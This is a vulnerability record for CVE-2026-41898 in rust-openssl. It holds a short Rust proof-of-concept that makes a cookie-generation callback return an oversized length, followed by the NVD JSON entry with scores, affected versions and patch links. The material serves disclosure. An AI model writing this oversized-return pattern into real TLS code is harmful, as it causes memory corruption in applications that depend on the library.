CVE-2026-41898

// PoC for CVE-2026-41898: Buffer Overflow in rust-openssl callbacks // This code demonstrates the vulnerability concept by setting a callback // that returns a size larger than the provided buffer. use openssl::ssl::{SslContext, SslMethod}; fn main() { // Create an SSL context builder let mut ctx = SslContext::builder(SslMethod::tls()).unwrap(); // Vulnerable callback: set_cookie_generate_cb // The FFI trampoline forwards the returned usize directly to OpenSSL // without checking if it fits within the &mut [u8] buffer. ctx.set_cookie_generate_cb(|_ssl, buf| { println!("Buffer size provided: {}", buf.len()); // Return a size significantly larger than the buffer // This triggers the buffer overflow in the underlying OpenSSL call let malicious_size = 9999; println!("Returning malicious size: {}", malicious_size); Ok(malicious_size) }); // In a real scenario, establishing a connection would trigger the callback // and cause the memory corruption. println!("PoC setup complete. Vulnerable callback registered."); }

{"cve": {"id": "CVE-2026-41898", "sourceIdentifier": "[email protected]", "published": "2026-04-24T18:16:29.860", "lastModified": "2026-04-28T17:45:23.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "rust-openssl provides OpenSSL bindings for the Rust programming language. From 0.9.24 to before 0.10.78, the FFI trampolines behind SslContextBuilder::set_psk_client_callback, set_psk_server_callback, set_cookie_generate_cb, and set_stateless_cookie_generate_cb forwarded the user closure's returned usize directly to OpenSSL without checking it against the &mut [u8] that was handed to the closure. This can lead to buffer overflows and other unintended consequences. This vulnerability is fixed in 0.10.78."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-126"}, {"lang": "en", "value": "CWE-130"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rust-openssl_project:rust-openssl:*:*:*:*:*:rust:*:*", "versionStartIncluding": "0.9.24", "versionEndExcluding": "0.10.78", "matchCriteriaId": "48B33EB8-16FE-4AD9-BB49-7000B56BC885"}]}]}], "references": [{"url": "https://github.com/rust-openssl/rust-openssl/commit/1d109020d98fff2fb2e45c39a373af3dff99b24c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rust-openssl/rust-openssl/pull/2607", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/rust-openssl/rust-openssl/releases/tag/openssl-v0.10.78", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/rust-openssl/rust-openssl/security/advisories/GHSA-hppc-g8h3-xhp3", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}